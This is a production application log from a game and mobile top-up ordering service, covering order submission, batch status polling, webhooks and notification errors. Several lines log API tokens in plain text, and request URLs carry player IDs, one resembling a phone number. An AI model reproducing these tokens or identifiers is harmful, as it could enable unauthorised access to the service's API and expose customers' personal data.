[2026-03-24 23:44:28] production.INFO: Operation sent successfully {"operation_id":164416,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-mJ7et-1774385068","amount":0.8458740000000000147650780490948818624019622802734375,"status":"processing","product":"Soyo Amount","game":"SoyoChat","notes":[],"created_at":"2026-03-24 23:44:28"}},"processed_data":{"order_number":"ORD-mJ7et-1774385068","amount":0.8458740000000000147650780490948818624019622802734375,"status":"processing","product":"Soyo Amount","game":"SoyoChat"}} 
[2026-03-24 23:45:01] production.INFO: Executing GetProducts task...  
[2026-03-24 23:45:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 23:45:01] production.INFO: Executing GetProducts task...  
[2026-03-24 23:45:03] production.INFO: async() رجع: true  
[2026-03-24 23:45:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 23:45:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 23:45:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 23:45:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 23:45:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 23:45:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 23:45:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 23:45:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 23:45:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 23:45:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 23:45:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 23:46:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"AmJcbeFIPhM6GS9HcKMXqiFsa9t2V6J6","execution_time":"2026-03-24 23:46:02"} 
[2026-03-24 23:46:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"AmJcbeFIPhM6GS9HcKMXqiFsa9t2V6J6","execution_time":"2026-03-24 23:46:02","total_operations":2,"sites_count":1} 
[2026-03-24 23:46:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"AmJcbeFIPhM6GS9HcKMXqiFsa9t2V6J6","execution_time":"2026-03-24 23:46:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-YmWMWH5Z-1774384992","ORD-mJ7et-1774385068"]} 
[2026-03-24 23:46:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"AmJcbeFIPhM6GS9HcKMXqiFsa9t2V6J6","execution_time":"2026-03-24 23:46:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 23:46:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"AmJcbeFIPhM6GS9HcKMXqiFsa9t2V6J6","execution_time":"2026-03-24 23:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 23:46:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"AmJcbeFIPhM6GS9HcKMXqiFsa9t2V6J6","execution_time":"2026-03-24 23:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mJ7et-1774385068","operation_id":164416} 
[2026-03-24 23:46:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"AmJcbeFIPhM6GS9HcKMXqiFsa9t2V6J6","execution_time":"2026-03-24 23:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YmWMWH5Z-1774384992","operation_id":164415,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 23:46:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"AmJcbeFIPhM6GS9HcKMXqiFsa9t2V6J6","execution_time":"2026-03-24 23:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YmWMWH5Z-1774384992","operation_id":164415,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 23:46:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"AmJcbeFIPhM6GS9HcKMXqiFsa9t2V6J6","execution_time":"2026-03-24 23:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YmWMWH5Z-1774384992","operation_id":164415,"count":1} 
[2026-03-24 23:46:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"AmJcbeFIPhM6GS9HcKMXqiFsa9t2V6J6","execution_time":"2026-03-24 23:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YmWMWH5Z-1774384992","operation_id":164415,"count":1} 
[2026-03-24 23:46:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"AmJcbeFIPhM6GS9HcKMXqiFsa9t2V6J6","execution_time":"2026-03-24 23:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YmWMWH5Z-1774384992","operation_id":164415,"user_id":36,"notification_type":"order_approved","reference_id":179547} 
[2026-03-24 23:46:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"AmJcbeFIPhM6GS9HcKMXqiFsa9t2V6J6","execution_time":"2026-03-24 23:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YmWMWH5Z-1774384992","operation_id":164415,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 23:46:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"AmJcbeFIPhM6GS9HcKMXqiFsa9t2V6J6","execution_time":"2026-03-24 23:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YmWMWH5Z-1774384992","operation_id":164415,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 23:46:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"AmJcbeFIPhM6GS9HcKMXqiFsa9t2V6J6","execution_time":"2026-03-24 23:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YmWMWH5Z-1774384992","operation_id":164415,"processed":1,"errors":0} 
[2026-03-24 23:46:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"AmJcbeFIPhM6GS9HcKMXqiFsa9t2V6J6","execution_time":"2026-03-24 23:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YmWMWH5Z-1774384992","operation_id":164415,"processed":1,"errors":0} 
[2026-03-24 23:46:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"AmJcbeFIPhM6GS9HcKMXqiFsa9t2V6J6","execution_time":"2026-03-24 23:46:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-YmWMWH5Z-1774384992","operation_id":164415} 
[2026-03-24 23:46:02] production.ERROR: FCM send failed for token 78: Requested entity was not found.  
[2026-03-24 23:46:02] production.ERROR: FCM send failed for token 97: Requested entity was not found.  
[2026-03-24 23:46:02] production.ERROR: FCM send failed for token 126: Requested entity was not found.  
[2026-03-24 23:48:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"zUvAd2ojTLkrk3HWOwdKaFVgFKMG6aRt","execution_time":"2026-03-24 23:48:02"} 
[2026-03-24 23:48:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"zUvAd2ojTLkrk3HWOwdKaFVgFKMG6aRt","execution_time":"2026-03-24 23:48:02","total_operations":1,"sites_count":1} 
[2026-03-24 23:48:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"zUvAd2ojTLkrk3HWOwdKaFVgFKMG6aRt","execution_time":"2026-03-24 23:48:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-mJ7et-1774385068"]} 
[2026-03-24 23:48:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"zUvAd2ojTLkrk3HWOwdKaFVgFKMG6aRt","execution_time":"2026-03-24 23:48:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 23:48:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"zUvAd2ojTLkrk3HWOwdKaFVgFKMG6aRt","execution_time":"2026-03-24 23:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 23:48:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"zUvAd2ojTLkrk3HWOwdKaFVgFKMG6aRt","execution_time":"2026-03-24 23:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mJ7et-1774385068","operation_id":164416,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 23:48:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"zUvAd2ojTLkrk3HWOwdKaFVgFKMG6aRt","execution_time":"2026-03-24 23:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mJ7et-1774385068","operation_id":164416,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 23:48:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"zUvAd2ojTLkrk3HWOwdKaFVgFKMG6aRt","execution_time":"2026-03-24 23:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mJ7et-1774385068","operation_id":164416,"count":1} 
[2026-03-24 23:48:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"zUvAd2ojTLkrk3HWOwdKaFVgFKMG6aRt","execution_time":"2026-03-24 23:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mJ7et-1774385068","operation_id":164416,"count":1} 
[2026-03-24 23:48:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"zUvAd2ojTLkrk3HWOwdKaFVgFKMG6aRt","execution_time":"2026-03-24 23:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mJ7et-1774385068","operation_id":164416,"user_id":802,"notification_type":"order_approved","reference_id":179548} 
[2026-03-24 23:48:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"zUvAd2ojTLkrk3HWOwdKaFVgFKMG6aRt","execution_time":"2026-03-24 23:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mJ7et-1774385068","operation_id":164416,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 23:48:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"zUvAd2ojTLkrk3HWOwdKaFVgFKMG6aRt","execution_time":"2026-03-24 23:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mJ7et-1774385068","operation_id":164416,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 23:48:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"zUvAd2ojTLkrk3HWOwdKaFVgFKMG6aRt","execution_time":"2026-03-24 23:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mJ7et-1774385068","operation_id":164416,"processed":1,"errors":0} 
[2026-03-24 23:48:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"zUvAd2ojTLkrk3HWOwdKaFVgFKMG6aRt","execution_time":"2026-03-24 23:48:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mJ7et-1774385068","operation_id":164416,"processed":1,"errors":0} 
[2026-03-24 23:48:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"zUvAd2ojTLkrk3HWOwdKaFVgFKMG6aRt","execution_time":"2026-03-24 23:48:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mJ7et-1774385068","operation_id":164416} 
[2026-03-24 23:48:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 802  
[2026-03-24 23:48:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-mJ7et-1774385068","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 23:48:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-mJ7et-1774385068","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 23:48:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 23:48:04] production.ERROR: Order not found or already processed. External ID: ORD-mJ7et-1774385068  
[2026-03-24 23:48:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-mJ7et-1774385068","status":"completed","codes_count":0} 
[2026-03-24 23:50:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"MAZjoUWmmJWW8FhPQmhBGwHtGM3U8Lm7","execution_time":"2026-03-24 23:50:03"} 
[2026-03-24 23:50:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"MAZjoUWmmJWW8FhPQmhBGwHtGM3U8Lm7","execution_time":"2026-03-24 23:50:03"} 
[2026-03-24 23:50:03] production.INFO: Executing GetProducts task...  
[2026-03-24 23:50:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 23:50:03] production.INFO: Executing GetProducts task...  
[2026-03-24 23:50:05] production.INFO: async() رجع: true  
[2026-03-24 23:50:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 23:50:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 23:50:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 23:50:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 23:50:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 23:50:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 23:50:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 23:50:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 23:50:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 23:50:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 23:50:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 23:50:32] production.INFO: Constructing job for order: 179549  
[2026-03-24 23:50:34] production.INFO: Handling job for order: 179549  
[2026-03-24 23:50:34] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 23:50:34] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:50:34] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/567/params?qty=2000&uuid=575753ec-2fc6-4b3d-8a6f-3821e002403f&Player_ID=619123598  
[2026-03-24 23:50:34] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/567/params?qty=2000&uuid=575753ec-2fc6-4b3d-8a6f-3821e002403f&Player_ID=619123598","has_body":false} 
[2026-03-24 23:50:34] production.INFO: Operation sent successfully {"operation_id":164417,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Yjbvei3g-1774385434","amount":1.691748000000000029530156098189763724803924560546875,"status":"processing","product":"Soyo Amount","game":"SoyoChat","notes":[],"created_at":"2026-03-24 23:50:34"}},"processed_data":{"order_number":"ORD-Yjbvei3g-1774385434","amount":1.691748000000000029530156098189763724803924560546875,"status":"processing","product":"Soyo Amount","game":"SoyoChat"}} 
[2026-03-24 23:52:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"y4IRl2gLd9eccHYcSfgbDjTpFec3lAna","execution_time":"2026-03-24 23:52:01"} 
[2026-03-24 23:52:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"y4IRl2gLd9eccHYcSfgbDjTpFec3lAna","execution_time":"2026-03-24 23:52:01","total_operations":1,"sites_count":1} 
[2026-03-24 23:52:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"y4IRl2gLd9eccHYcSfgbDjTpFec3lAna","execution_time":"2026-03-24 23:52:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-Yjbvei3g-1774385434"]} 
[2026-03-24 23:52:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"y4IRl2gLd9eccHYcSfgbDjTpFec3lAna","execution_time":"2026-03-24 23:52:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 23:52:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"y4IRl2gLd9eccHYcSfgbDjTpFec3lAna","execution_time":"2026-03-24 23:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 23:52:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"y4IRl2gLd9eccHYcSfgbDjTpFec3lAna","execution_time":"2026-03-24 23:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yjbvei3g-1774385434","operation_id":164417} 
[2026-03-24 23:52:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"y4IRl2gLd9eccHYcSfgbDjTpFec3lAna","execution_time":"2026-03-24 23:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yjbvei3g-1774385434","operation_id":164417,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 23:52:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"y4IRl2gLd9eccHYcSfgbDjTpFec3lAna","execution_time":"2026-03-24 23:52:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yjbvei3g-1774385434","operation_id":164417,"processed":0,"errors":0} 
[2026-03-24 23:52:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"y4IRl2gLd9eccHYcSfgbDjTpFec3lAna","execution_time":"2026-03-24 23:52:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Yjbvei3g-1774385434","operation_id":164417} 
[2026-03-24 23:52:02] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Yjbvei3g-1774385434","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 23:52:02] production.INFO: Processed webhook data (normalized) {"id":"ORD-Yjbvei3g-1774385434","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 23:52:02] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 23:52:02] production.INFO: SendAcceptReject: Notification queued {"user_id":802,"notification_type":"order_approved","reference_id":179549} 
[2026-03-24 23:52:02] production.INFO: Order updated successfully. Order ID: 179549, Status: completed  
[2026-03-24 23:52:02] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Yjbvei3g-1774385434","status":"completed","codes_count":0} 
[2026-03-24 23:52:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 802  
[2026-03-24 23:53:51] production.INFO: Constructing job for order: 179550  
[2026-03-24 23:53:53] production.INFO: Handling job for order: 179550  
[2026-03-24 23:53:53] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 23:53:53] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:53:53] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=1de55af4-ef8b-4e2b-bb42-b5113f001bda&Player_ID=0951985123  
[2026-03-24 23:53:53] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/10/params?qty=1&uuid=1de55af4-ef8b-4e2b-bb42-b5113f001bda&Player_ID=0951985123","has_body":false} 
[2026-03-24 23:53:53] production.INFO: Operation sent successfully {"operation_id":164418,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-wkXb-1774385633","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 23:53:53"}},"processed_data":{"order_number":"ORD-wkXb-1774385633","amount":105.533600000000006957634468562901020050048828125,"status":"processing","product":"100 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 23:53:55] production.INFO: Constructing job for order: 179551  
[2026-03-24 23:53:56] production.INFO: Handling job for order: 179551  
[2026-03-24 23:53:56] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 23:53:56] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 23:53:56] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=2bb5b45d-ec4c-4f01-8139-8077e72be5c0&Player_ID=0951985123  
[2026-03-24 23:53:56] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/2/params?qty=1&uuid=2bb5b45d-ec4c-4f01-8139-8077e72be5c0&Player_ID=0951985123","has_body":false} 
[2026-03-24 23:53:57] production.INFO: Operation sent successfully {"operation_id":164419,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-hKDsKoGY-1774385637","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS","notes":[],"created_at":"2026-03-24 23:53:57"}},"processed_data":{"order_number":"ORD-hKDsKoGY-1774385637","amount":10.5533599999999996299493432161398231983184814453125,"status":"processing","product":"10 Units MTN","game":"MTN UNITS"}} 
[2026-03-24 23:54:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"HFFguuKLCuEOtzal9bSohKS4r4dh0QX9","execution_time":"2026-03-24 23:54:03"} 
[2026-03-24 23:54:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"HFFguuKLCuEOtzal9bSohKS4r4dh0QX9","execution_time":"2026-03-24 23:54:03","total_operations":2,"sites_count":1} 
[2026-03-24 23:54:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"HFFguuKLCuEOtzal9bSohKS4r4dh0QX9","execution_time":"2026-03-24 23:54:03","site_id":4,"site_name":"swgamessls","orders_count":2,"order_ids":["ORD-wkXb-1774385633","ORD-hKDsKoGY-1774385637"]} 
[2026-03-24 23:54:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"HFFguuKLCuEOtzal9bSohKS4r4dh0QX9","execution_time":"2026-03-24 23:54:03","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 23:54:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"HFFguuKLCuEOtzal9bSohKS4r4dh0QX9","execution_time":"2026-03-24 23:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 23:54:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"HFFguuKLCuEOtzal9bSohKS4r4dh0QX9","execution_time":"2026-03-24 23:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-hKDsKoGY-1774385637","operation_id":164419} 
[2026-03-24 23:54:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"HFFguuKLCuEOtzal9bSohKS4r4dh0QX9","execution_time":"2026-03-24 23:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wkXb-1774385633","operation_id":164418,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 23:54:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"HFFguuKLCuEOtzal9bSohKS4r4dh0QX9","execution_time":"2026-03-24 23:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wkXb-1774385633","operation_id":164418,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 23:54:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"HFFguuKLCuEOtzal9bSohKS4r4dh0QX9","execution_time":"2026-03-24 23:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wkXb-1774385633","operation_id":164418,"count":1} 
[2026-03-24 23:54:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"HFFguuKLCuEOtzal9bSohKS4r4dh0QX9","execution_time":"2026-03-24 23:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wkXb-1774385633","operation_id":164418,"count":1} 
[2026-03-24 23:54:03] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"HFFguuKLCuEOtzal9bSohKS4r4dh0QX9","execution_time":"2026-03-24 23:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wkXb-1774385633","operation_id":164418,"user_id":315,"notification_type":"order_approved","reference_id":179550} 
[2026-03-24 23:54:03] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"HFFguuKLCuEOtzal9bSohKS4r4dh0QX9","execution_time":"2026-03-24 23:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wkXb-1774385633","operation_id":164418,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 23:54:03] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"HFFguuKLCuEOtzal9bSohKS4r4dh0QX9","execution_time":"2026-03-24 23:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wkXb-1774385633","operation_id":164418,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 23:54:03] production.INFO: Batch update completed {"job":"Quryjob","job_id":"HFFguuKLCuEOtzal9bSohKS4r4dh0QX9","execution_time":"2026-03-24 23:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wkXb-1774385633","operation_id":164418,"processed":1,"errors":0} 
[2026-03-24 23:54:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"HFFguuKLCuEOtzal9bSohKS4r4dh0QX9","execution_time":"2026-03-24 23:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wkXb-1774385633","operation_id":164418,"processed":1,"errors":0} 
[2026-03-24 23:54:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"HFFguuKLCuEOtzal9bSohKS4r4dh0QX9","execution_time":"2026-03-24 23:54:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wkXb-1774385633","operation_id":164418} 
[2026-03-24 23:54:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 315  
[2026-03-24 23:55:03] production.INFO: Executing GetProducts task...  
[2026-03-24 23:55:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 23:55:03] production.INFO: Executing GetProducts task...  
[2026-03-24 23:55:05] production.INFO: async() رجع: true  
[2026-03-24 23:55:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 23:55:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 23:55:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 23:55:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 23:55:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 23:55:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 23:55:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 23:55:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 23:55:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 23:55:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 23:55:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 23:56:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"s73E2plPtYOIIqUHnIlThD9wsiyg1oi2","execution_time":"2026-03-24 23:56:01"} 
[2026-03-24 23:56:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"s73E2plPtYOIIqUHnIlThD9wsiyg1oi2","execution_time":"2026-03-24 23:56:01","total_operations":1,"sites_count":1} 
[2026-03-24 23:56:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"s73E2plPtYOIIqUHnIlThD9wsiyg1oi2","execution_time":"2026-03-24 23:56:01","site_id":4,"site_name":"swgamessls","orders_count":1,"order_ids":["ORD-hKDsKoGY-1774385637"]} 
[2026-03-24 23:56:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"s73E2plPtYOIIqUHnIlThD9wsiyg1oi2","execution_time":"2026-03-24 23:56:01","site_id":4,"site_name":"swgamessls"} 
[2026-03-24 23:56:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"s73E2plPtYOIIqUHnIlThD9wsiyg1oi2","execution_time":"2026-03-24 23:56:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
